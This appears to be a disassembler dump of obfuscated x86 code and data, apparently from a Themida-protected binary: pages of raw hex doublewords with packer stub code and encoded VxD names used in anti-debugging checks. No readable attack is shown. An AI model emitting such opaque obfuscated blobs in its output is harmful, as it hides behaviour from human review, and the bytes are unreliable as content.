		dd 3A3F6985h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 858997CBh, 6372159h, 6AD0FFh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 6A9661C3h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 0C3CFC351h, 0BE9A4F6h,	93000000h
		dd 77A5CF49h, 51E58183h, 74037AA4h, 6A2424h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0C867CEC3h
		dd 8179B86Eh, 0BD8D7A03h, 6371359h, 19818D29h, 0E9AD0637h
		dd 5, 9DFBC2BCh, 247C8197h, 24h, 3F870F10h, 6A000001h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 960EC350h, 0AF98D0A6h, 880F01E9h,	1, 840F50F5h
		dd 1Ah,	14820Fh, 0FE90000h, 97000000h, 668D8ED2h, 0AFD96B36h
		dd 6D323E60h, 4897B96h,	51006A24h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 8B60FBD0h, 0B18D89CEh
		dd 61063729h, 2824448Bh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Ah, 7FC35141h, 0EDD4375Fh, 8D89BEA9h, 6372871h
		dd 1B8E0F90h, 60000000h, 0E9D88B66h, 11h, 327B8703h, 9978FFE8h
		dd 524743D5h, 0A4D2A550h, 0E950614Dh, 0Bh, 26EEF067h, 4464540Ah
		dd 9092D0C0h, 29599529h, 858D0637h, 63A3F69h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 5C35646h, 78F8466Bh
		dd 9F09AAF8h, 35852936h, 0FF06370Fh, 56006AD0h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 3FB1DB59h
		dd 0E7BBF3C5h, 8B0F679Ch, 6, 32FD8531h,	44030637h, 6A2424h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 6591CDC3h, 0B6D8589h, 0E9AB0637h, 5,	33057974h, 0E18529CCh
		dd 81063713h, 10000FAh,	16820F00h, 6A000007h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 2BA0C352h, 17E58529h, 0BD8D0637h, 6371B69h, 26259589h
		dd 95890637h, 6370A45h,	7C81F9ADh, 2424h, 870F1000h, 0FAh
		dd 9459D31h, 0E9500637h, 0Fh, 0BDC521Bh, 0DB9D57DAh, 94751F35h
		dd 893E0AB0h, 0BD892404h, 63729D5h, 2824448Bh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 53C35242h, 2C55FBBAh
		dd 33A86EF8h, 1911B589h, 0F900637h, 0E85h, 9E900h, 0CB9F0000h
		dd 0E4901315h, 5054F862h, 18820Fh, 13E90000h, 89000000h
		dd 991FE9E5h, 5D18B0D2h, 1ADE068Eh, 0F242CBE6h,	0F90DEDFh
		dd 687h, 0A19D2900h, 8D06371Dh,	3A3F6985h, 56006A06h, 3E8h
		dd 0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 26406CB5h, 7ED9A8E4h
		dd 8D0F6061h, 2, 0BD316160h, 6371E61h, 5E961h, 875C0000h
		dd 0FF5F134Ah, 55006AD0h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 72B3F565h, 4403FC57h
		dd 11E92424h, 5B000000h, 0F54BFE85h, 6C1A3CB9h,	80A221Fh
		dd 4817B7F1h, 50525050h, 0F525052h, 0F585A31h, 8E0F31h
		dd 5A000000h, 50310F58h, 850F52h, 0F000000h, 0F525031h
		dd 5A585A31h, 89585A58h, 8D0F2404h, 6, 8019D89h, 860F0637h
		dd 18h,	13E9h, 4D49D100h, 343BD9CFh, 22C41443h,	607929F1h
		dd 25DB2D18h, 51006AABh, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 8DFC0A0Dh, 370909BDh, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 60056811h, 5235E680h, 461858Bh, 615F0637h, 0DE9ADh
		dd 0FE0C0000h, 0EFA4240Ch, 7980345Ah, 816A9079h, 28247Ch
		dd 0F100000h, 0FF87h, 0FE900h, 0AF6C0000h, 5A42239Dh, 0C6EFC049h
		dd 0FEAD1B3Bh, 158B0FA3h, 60000000h, 8E9h, 909CE200h, 6C58B897h
		dd 0CD9D0155h, 61063713h, 14E950h, 0B4840000h, 626CAF55h
		dd 62A688B0h, 0AEAA97B2h, 0C797F561h, 48960A4h,	56006A24h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 8993B2A6h, 3706B195h, 24448B06h, 0D985292Ch,	9006370Fh
		dd 0C8F0Fh, 7E90000h, 83000000h, 63DFAD62h, 0E950FE1Dh
		dd 0Bh,	0E1C4E928h, 44A8097Dh, 901F52C4h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 15h, 79C35747h, 858DF93Eh
		dd 63A3F69h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 18h,	72C35545h, 6C62104Ah, 1CF9BD89h, 0EE90637h, 68000000h
		dd 401DA51Dh, 6F0DF8A1h, 68ADB7Ch, 0F9D0FF92h, 28244403h
		dd 6820Fh, 9D290000h, 6370C9Dh,	19850Fh, 14E90000h, 93000000h
		dd 98ED1DA0h, 0ED0C7D22h, 0CE3219B1h, 8CFBF385h, 0AB5298FDh
		dd 0FF5EF5F5h, 3A71E98Dh, 0E9BD8306h, 63A71h, 0C0330A75h
		dd 7F7CB58Dh, 0E6FF063Ah, 7C81AD56h, 2824h, 0E771000h
		dd 24448B50h, 858D502Ch, 63A3F69h, 4403D0FFh, 8B972824h
		dd 0E5858ADFh, 84063A71h, 3A0474C0h, 574C7507h,	75AEC032h
		dd 0FB2B5EFDh, 0C933FC52h, 33D18B49h, 0ACDB33C0h, 0CD8AC132h
		dd 0D68AEA8Ah, 0D16608B6h, 0D8D166EBh, 35660973h, 81665041h
		dd 0FE5449F3h, 33EB75CEh, 4FD333C8h, 0D2F7D575h, 0C28BD1F7h
		dd 6610C0C1h, 3B5AC18Bh, 5E0F74D0h, 0FF04C683h,	370A6D85h
		dd 0FF5DE906h, 6A5EFFFFh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 0FBA2C357h,	6060C4BDh
		dd 8161D08Bh, 702877D9h, 8D0F6151h, 6, 0B01BD31h, 858B0637h
		dd 6370A6Dh, 6AE0D1F9h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 0FDD4C356h,	8F0F7F10h
		dd 0Ch,	6860Fh,	830F0000h, 0
		dd 9098503h, 5E90637h, 0F4000000h, 0A818F5C8h, 0BEh, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 0F291507Eh, 6096F80Ch, 0E9C2BF0Fh, 14h, 0B193EE47h
		dd 2F74AEC7h, 23E97164h, 47B5892Eh, 0A4ACE0A4h,	0FAD6661h
		dd 1B8Ch, 15890F00h, 0E9000000h, 10h, 0DCD24DCAh, 8E85AB8Bh
		dd 0F69C487Eh, 0A243DA4Fh, 6A02E0C1h, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 5960C353h
		dd 31B25FD4h, 372DC9BDh, 59850306h, 0F5063713h,	53006A96h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 0BD89D92Fh, 63708F1h, 0F18D8960h, 3106370Ah,	371B298Dh
		dd 89606106h, 371951BDh, 8B666006h, 0E5BD8BDEh,	6106371Ah
		dd 9589AD61h, 6370881h,	24247C81h, 10000000h, 0FD870Fh
		dd 0E9600000h, 0Bh, 7DA17FBEh, 9D210149h, 1892135h, 372AB98Dh
		dd 60906106h, 0F525050h, 5B585A31h, 2 dup(310F5250h), 585A585Ah
		dd 52505061h, 8E9h, 18016E00h, 0E1D41B14h, 60310F2Dh, 8EE3BE66h
		dd 0C9A0B866h, 90585A61h, 9E9h,	0C4425D00h, 35A350C0h
		dd 448BACD7h, 6A2824h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 0B529ACC3h, 6371E65h, 1EA58D01h
		dd 60500637h, 665F5060h, 8B61F18Bh, 48961C8h, 51006A24h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 59CBB35Ch, 0D9BD319Dh, 8D06372Eh, 3A3F6985h,	50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 28939761h, 0B185896Ch, 0F06370Ah, 683h, 31952900h, 0FF063732h
		dd 7D8D89D0h, 306370Bh,	60242444h, 69B9DAB9h, 0C012BA5Eh
		dd 896132BCh, 6A1C2444h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 60A5C355h, 0B985C694h
		dd 63722h, 731B85C7h, 63Ah, 85C70000h, 63A71EDh, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 4FC35242h
		dd 989116E1h, 0B860F5B6h, 5CD63647h, 8E8h, 0A5B9AC00h
		dd 47231031h, 8D9D09F2h, 5E063713h, 95096161h, 6371A59h
		dd 0E90008C2h, 0Fh, 97E30338h, 4E0CC895h, 7286488h, 89E6C558h
		dd 3719B1B5h, 59858B06h, 0F5063713h, 0D26BFC4Ah, 56006A04h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 12E9BBF8h, 8F000000h, 71688D30h, 86BB725h, 3683F648h
		dd 0B2EF5AEh, 6AC203DCh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 3660C353h, 6A9611BDh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 9D9BC350h, 0F9AD38F7h, 24247C81h,	10000000h
		dd 0B8870Fh, 95290000h,	63709E5h, 0C8C0F50h, 0E9000000h
		dd 7, 0C5CFE975h, 89417743h, 6A2404h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0EE580AC3h
		dd 37387EFEh, 8E9h, 74A9F300h, 351E5E40h, 24448BE4h, 7D9D2928h
		dd 0F06371Ah, 0E87h, 0BD096000h, 6370AC5h, 1B298509h, 50610637h
		dd 9E9h, 0A6737000h, 2E3996ABh,	4899747h, 398D8924h, 8D06372Fh
		dd 3A3F6985h, 758D0106h, 0FF06372Eh, 55006AD0h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 0F6D666ADh
		dd 452B81D1h, 0F79BD31h, 4E90637h, 0FFFFFFEh, 189h, 858DF800h
		dd 63A84C3h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 15h,	3BC35242h, 810F5028h, 0Bh, 6E9h, 0BB519200h, 89F1723Dh
		dd 14E92404h, 0D6000000h, 0D170F26Dh, 0FFBD8C3Bh, 3CE51A27h
		dd 0CF711286h, 64112B5Dh, 35FFh, 13E90000h, 7E000000h
		dd 86951D98h, 5E3B1B99h, 0D10B49E7h, 532865Ch, 48B9D3Eh
		dd 8890F24h, 0F000000h,	289h, 89616000h, 3719A985h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 0F324E96h, 186h, 8964FC00h, 25h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 389AC313h
		dd 0C18D2913h, 8D06370Fh, 3A82B085h, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 0BE93C5Ah
		dd 1B000000h, 0D93380AEh, 2612AD67h, 6089A0A6h,	0CE96001h
		dd 0A3000000h, 574D4182h, 90F607A6h, 310D5E21h,	3726199Dh
		dd 54E96106h, 89000002h, 3700DD9Dh, 0E8DB8B06h,	0
		dd 0A9ED815Dh, 0BC063A82h, 12FF9Ch, 1B0DBD83h, 74000637h
		dd 71858B18h, 0C6063711h, 858B0000h, 6371391h, 0FF0000C6h
		dd 37042D95h, 0B5FF6006h, 63A6DF1h, 6DF5858Dh, 8D50063Ah
		dd 3A6FED85h, 95FF5006h, 63707A9h, 610CC483h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0E4C35545h, 89FC6E3Eh
		dd 3731D185h, 0B1853106h, 6A063719h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0B090C352h
		dd 0E860CD36h, 5, 84194BE2h, 0CE9FEh, 8F200000h, 26DD29FDh
		dd 36B1E03Fh, 8B5E1D5Ch, 372F41BDh, 85296106h, 6372A65h
		dd 6FEDB58Dh, 6A063Ah, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 1F0F09C3h, 5696BE6Fh, 9D89D7D7h
		dd 6371F75h, 2655BD8Dh,	6A0637h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 0C4FFA4C3h, 0F003E80h
		dd 4D84h, 0D9B58900h, 0F063708h, 18Fh, 6AA4F800h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 0AE48C351h, 882DDFD7h, 0CF8A609Dh, 2EC1B58Bh, 0E9610637h
		dd 0FFFFFFB8h, 8F18531h, 8B600637h, 371FA18Dh, 0B86106h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 8396C357h, 81B529h, 6AAA0637h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 0B0BDC350h, 0E86054FDh, 14h, 1534356Eh, 35FEB06h
		dd 0C579B4B8h, 0AAC8134Dh, 0C2E5CF9h, 0B8BA12BFh, 61F55B36h
		dd 7B8h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 17C0E191h, 85C787DBh, 63725C1h, 1
		dd 0D88B6660h, 29859523h, 8D610637h, 374E2B8Dh,	0E1FFF806h
		db 0F9h, 0F5h
word_575112	dw 5C8Bh		; DATA XREF: Themida_:0053DBC4o
					; Themida_:0053FBC8o
		dd 0E8550C24h, 0
		dd 0CDED815Dh, 8B063A84h, 0B883h, 0F1858900h, 8D063A6Dh
		dd 3A82A285h, 0B8838906h, 5D000000h, 89C3C033h,	371369BDh
		dd 0A5B46006h, 6101D280h, 57006A60h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 506035E5h
		dd 5EDDF580h, 0D5DB589h, 8D610637h, 3A879285h, 13E906h
		dd 812D0000h, 922A806Fh, 5D434BDCh, 362178F7h, 311FD1CCh
		dd 840F90CAh, 0Ch, 68E0Fh, 850F0000h, 0
		dd 11E950h, 2CA10000h, 100337A4h, 6FD1BC45h, 30E07850h
		dd 9096A634h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 14h,	0ABC35747h, 11E9h, 0CE45AA00h, 0AE5E1016h, 5B13068Dh
		dd 0C7DEFDA2h, 0FF646335h, 35h,	6E96000h, 0C000000h, 8B604221h
		dd 8E80Fh, 0FC120000h, 0ED572A5Fh, 8B66429Ah, 646159FAh
		dd 2589h, 0BD890000h, 63730F1h,	599D2960h, 61063725h, 8804858Dh
		dd 6A063Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 0EEEE48C3h, 608907B4h, 5DB50901h,	0C6063717h
		dd 3722B985h, 6A4F06h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 604F11C3h, 7E8D08Bh, 33000000h
		dd 1B747AC3h, 58F59A74h, 3AE66861h, 9E986D3h, 3A000000h
		dd 1B086468h, 57171CB8h, 44240481h, 6A77F539h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 0AA3EC352h, 0E41DA19Fh, 0E9A50059h, 12h, 0E3C92CB4h
		dd 59F2EC95h, 689537D6h, 92254A69h, 0B5FF705Dh,	6372339h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 90C35646h
		dd 0E960BA2Bh, 0Dh, 0A9A324E9h,	6159F744h, 0EF74EEAEh
		dd 0ED8589AAh, 61063724h, 720A858Dh, 6A063Ah, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 8B6077C3h
		dd 3724FD8Dh, 0DE34BB06h, 0F61613Fh, 786h, 18B0F00h, 0F8000000h
		dd 6AD0FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 322908C3h, 6850Fh, 85890000h, 63724E5h, 2335BD09h
		dd 0BCE90637h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 8274C357h, 7E9011Ch
		dd 0D000000h, 9F08C831h, 800FE33Fh, 0Ch, 0FEE8160h, 6629DECFh
		dd 61E160BEh, 9858960h,	66063723h, 0EC6DC981h, 245C8B61h
		dd 0E8550Ch, 5D000000h,	879CED81h, 858B063Ah, 6371B49h
		dd 23398589h, 858B0637h, 637045Dh, 83D8589h, 858B0637h
		dd 6372011h, 221D8589h,	85C60637h, 63722B9h, 1B85C700h
		dd 63A73h, 8D000000h, 3A880485h, 0B8838906h, 5D000000h
		dd 0E9C3C033h, 11h, 468E9DF0h, 6E5E50E5h, 0FC558B76h, 3216F28h
		dd 358589DAh, 0BC063733h, 12FF74h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 74C35747h, 47968122h, 0D0F7A54Fh
		dd 168D0FC3h, 0E9000000h, 11h, 5A595D2h, 0CC1ED797h, 0AEA485B9h
		dd 1E99633Bh, 58F645Eh,	0
		dd 68E0Fh, 85890000h, 63732DDh,	1850Fh,	83FC0000h, 6A04C4h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 263B83C3h, 411B4F3Dh, 61D4EAA4h, 464934EBh, 52474D53h
		dd 4B562020h, 20202044h, 4D562020h, 2020204Dh, 57562020h
		dd 32334E49h, 58562020h, 52444C44h, 2020h, 2 dup(0)
		dd 6BE90000h, 0F000008h, 181h, 6A60FC00h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 9DBAC356h
		dd 53C4F3C0h, 10E99C8Eh, 95000000h, 0DF42C614h,	0F6049BEEh
		dd 0D509E067h, 0E951F573h, 10h,	43C82265h, 280B7AC8h, 0FB2EA594h
		dd 36FD0AB9h, 88B785C7h, 63Ah, 6A0000h,	3E852h,	5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 9452A3C3h
		dd 0FDEBE67h, 0D88h, 8E900h, 0FD3A0000h, 8F60A666h, 0C68BFE3Dh
		dd 17800Fh, 12E90000h, 0C7000000h, 0AA80EF2Ah, 0C05B5961h
		dd 3497ACC1h, 4661C18Fh, 0D8B70F06h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 0C7C35545h,	6EAD0BC5h, 60FCCACBh
		dd 870F94B2h, 3, 615DD380h, 6A10E8C1h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 9A2DC357h
		dd 0E941B160h, 9, 156C18E9h, 315B180Eh,	0AE9614Eh, 2B000000h
		dd 138F9699h, 8634D032h, 0C8C166DAh, 0E3816008h, 0E4E2E8Eh
		dd 18D0Fh, 61FC0000h, 88BB8589h, 6A063Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 918C6FC3h
		dd 703FC36h, 88F0F8Dh, 0F000000h, 28Dh,	66616000h, 6A08CBC1h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 49D6C350h, 12E9h,	6B9AEC00h, 238F26EDh, 0E64E0274h
		dd 0AC148B27h, 0F5EEEF8h, 0A86h, 5E900h, 13500000h, 0FC2085FDh
		dd 0F40FB83h, 5C85h, 19870F00h,	0F000000h, 138Ch, 0EE900h
		dd 0B2520000h, 1E7C84A7h, 35411ACBh, 7D32AEBDh,	888FBD8Dh
		dd 8D0F063Ah, 7, 1800Fh, 0E9F50000h, 1EAh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0B0C35343h, 0A1EBA011h
		dd 903B05B1h, 0DFB833Ch, 36850Fh, 8E0F0000h, 7,	80F08B60h
		dd 8D6110F7h, 3A8897BDh, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 87E9FC34h, 0F8000001h
		dd 0F01FB83h, 8B85h, 8840F00h, 60000000h, 8D0Fh, 60610000h
		dd 0EACEF281h, 8D6158FEh, 3A889FBDh, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 5FA3324Ch
		dd 4288EC8Bh, 6E9B681h,	0D9000000h, 0EADA8485h,	168C0F4Ah
		dd 0E9000000h, 11h, 0FDA66D42h,	0A080C5BAh, 810E9CC0h
		dd 95A09BCAh, 110E92Bh,	860F0000h, 11h,	0CE9h, 0E5B71F00h
		dd 0EB294377h, 9D2798D8h, 18B0F2Bh, 0FC000000h,	0F2AFB83h
		dd 7785h, 13810F00h, 0F000000h,	0D8Dh, 8E900h, 0CAC80000h
		dd 0AF2EF6Ch, 0BD8D7A78h, 63A88A7h, 5E95060h, 0D3000000h
		dd 8B3AB9CBh, 800F5Bh, 61000000h, 0B1E9h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
		dd 6261455Fh, 52A83713h, 436FBA60h, 0BE83EAAh, 84000000h
		dd 3512C25Dh, 72F01BC0h, 0B70FD3E6h, 0F9615AD9h, 0F27FB83h
		dd 3B085h, 0BD8DF800h, 63A88AFh, 0E851006Ah, 3,	59C35920h
		dd 4244C89h, 4244481h, 1Bh, 89C35141h, 7DD5FB3Ah, 0F4E6695h
		dd 2385h, 0BE96000h, 0C0000000h, 0A9359522h, 8F4D8916h
		dd 0CE975C0h, 3C000000h, 0EF1687B8h, 47C55B7Ch,	61FF8EB4h
		dd 11E9h, 23CD6A00h, 58FEC032h,	0A4DF1882h, 5085ED38h
		dd 0BD8971BEh, 63A88BFh, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 15h, 3AC35242h, 12E86049h,	0C4000000h, 0FCA92B75h
		dd 9F7ECF3Ch, 0B50FFF15h, 7723C0EDh, 0C2BA66A1h, 0B70F584Ch
		dd 8C6661C1h, 50006AC8h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1A04h, 0C3504000h, 0BD5B9496h, 0F400F64h, 1984h, 14E900h
		dd 21430000h, 1E69F48Fh, 0AB6E4DAEh, 0C9D30E9Eh, 0A8F896D8h
		dd 3245DADh, 9DE08160h,	0F0A27CAh, 1080h, 0BE900h, 0F0540000h
		dd 0A69ED355h, 0C3153BA8h, 0C00A6174h, 190850Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 4D6B3AC3h, 0F964F7E9h, 13E9C6h, 24F0000h, 0D9098C67h
		dd 9D659CEDh, 77ACC51h,	0AA0AF49Ah, 35B58DA3h, 6A063A90h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 6BDDC351h, 560EAB3Eh, 8B68503Fh, 3A90C485h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 0A10BF953h, 5E9E851h, 2000000h, 0E7BC342h
		dd 5E950h, 4F8B0000h, 8983A299h, 6A2414h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 375BE6C3h
		dd 5ED52280h, 0FF9D119h, 0FE244C01h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 0D9C35545h,	7EE54CFCh, 60E68A60h
		dd 13E78166h, 615B52F6h, 83F55A61h, 0DE924C2h, 51000000h
		dd 0B0EB8191h, 11CCF69Bh, 0A69A49C4h, 728966F9h, 7E9FCh
		dd 33740000h, 4B64B98Dh, 0AE94Bh, 2EFB0000h, 87ABFDF1h
		dd 59E61893h, 6010CEC1h, 53C9B70Fh, 7FD68166h, 60615FF6h
		dd 148C0Fh, 0FE90000h, 0C2000000h, 2319B0D9h, 41BEA01Eh
		dd 9D328EF1h, 816684C8h, 616C52E0h, 2728966h, 0E904CDF8h
		dd 5, 14E998EAh, 12E9FAh, 0E45B0000h, 0BC6CF18Fh, 8DA7E10Eh
		dd 0BC633085h, 3671F57h, 0DCE9h, 858BF900h, 63A90C4h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 42C35040h, 38A53658h
		dd 13E904h, 37C30000h, 0CF444D8h, 413722DAh, 0D15AFA28h
		dd 8B3CBFDh, 0B58DFC80h, 63A9035h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 59C35646h, 158C0Fh,	10E90000h
		dd 0A1000000h, 738C7191h, 8689F182h, 0D7710A05h, 8D414788h
		dd 3A447885h, 7E906h, 74F90000h, 635E5F90h, 10E9D2h, 0AA600000h
		dd 3D9AF6C1h, 35B4A45Bh, 9B1780B2h, 0D0FF0F3Fh,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0D5C35343h, 0C12CECAFh
		dd 0FE960h, 4A390000h, 96FB8D95h, 173FF309h, 0B884F300h
		dd 0B785893Fh, 6A063A88h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 1EE7C356h, 666017DCh
		dd 0F844C1B9h, 6A6161h,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 858B70C3h, 63A88B7h, 0AE9h, 0C3BD4800h
		dd 96B0301Ch, 0C3C79F60h, 9E960h, 2AEF0000h, 0DAF0D347h
		dd 61BFD70Eh, 0DD8A6060h, 61D0BF0Fh, 90C4BD83h,	0F00063Ah
		dd 5285h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 0E91970CAh, 6, 2019DF63h,	85C7D951h
		dd 63A90C4h, 1013Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 76C35545h, 0E9F5C20Fh, 21h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0D8C35646h, 0CE838EB0h
		dd 20CDA4h, 0B000000h, 8D3774C0h, 0BD8B0C70h, 63A88BFh
		dd 8B9h, 2275A600h, 8BFA7549h, 9D8B3048h, 63A88BBh, 7F34583Bh
		dd 6BD38B15h, 0CA0304D2h, 8589018Bh, 63A88B7h, 8B04EBh
		dd 8B61C5EBh, 3A88B785h, 8E0FCF06h, 8, 0A3BF6660h, 616160D3h
		dd 0C78B6060h, 0EE9h, 0AA698800h, 9F508C00h, 0CCE34AF7h
		dd 6197554Ch, 0C08B61F5h, 13E8h, 0E0527700h, 0A575664Ah
		dd 37E36325h, 0F0B3D3F8h, 5CA552FAh, 8F38152h, 5B159C52h
		dd 0A078BB58h, 0C0811F49h, 63F3h, 55B05660h, 50E3815Ah
		dd 614BFE8Dh, 0BFh, 8B03B600h, 0FE93834h, 96000000h, 20CA240Ah
		dd 6F7E1F98h, 21C0FBA7h, 0F681AEAEh, 4940B87h, 93EA8166h
		dd 0A9EE8153h, 80122DC7h, 0EE8137EAh, 503FE470h, 0AECC8060h
		dd 28A0Fh, 61600000h, 38348961h, 81F8DA8Ah, 88FC50EFh
		dd 0E8BB664Ah, 4CC78112h, 8A4A88FCh, 0A8FF81FCh, 0FFFFF9Ch
		dd 0FFFF9E85h, 0D98B66FFh, 0E5E9h, 0EE4D1000h, 3271DCFFh
		dd 0E0A1D1Fh, 538FDD7Ah, 2F6D3733h, 773D557Dh, 7DD57F2Dh
		dd 3D577DD7h, 75DF6DF7h, 7DD773D5h, 0EDF73D57h,	5375D55Fh
		dd 2F6D3733h, 773D557Dh, 7DD57F2Dh, 1E577DD7h, 75DF6D17h
		dd 60206020h, 0E0E02020h, 68AC2060h, 0E4A9F77Bh, 0B2D020A1h
		dd 0B7EDA693h, 0F291B99Dh, 6020ACA3h, 60206020h, 0E0E02020h
		dd 53752060h, 2F0D0A33h, 6020557Dh, 60206020h, 362BA728h
		dd 60D650F0h, 0A1EFB6F3h, 0B4E0F796h, 92B8E3A7h, 0E9B3F471h
		dd 60F76DB9h, 60206020h, 20206020h, 1ADF6DF7h, 7DD77335h
		dd 0EDF73D57h, 5375D55Fh, 2F6D3733h, 773D557Dh,	7DD57F2Dh
		dd 3D577DD7h, 75DF6DF7h, 7DD773D5h, 0EDF73D57h,	5375D55Fh
		dd 2F6D3733h, 0A1E357Dh, 0C1A8000Eh, 0FD54A766h, 0AC7543F2h
		dd 0F5E94769h, 6800000Bh, 63A9569h, 0FCEB89E9h,	964968FFh
		dd 7FE9063Ah, 68FFFCEBh, 63A9730h, 0FCEB75E9h, 980E68FFh
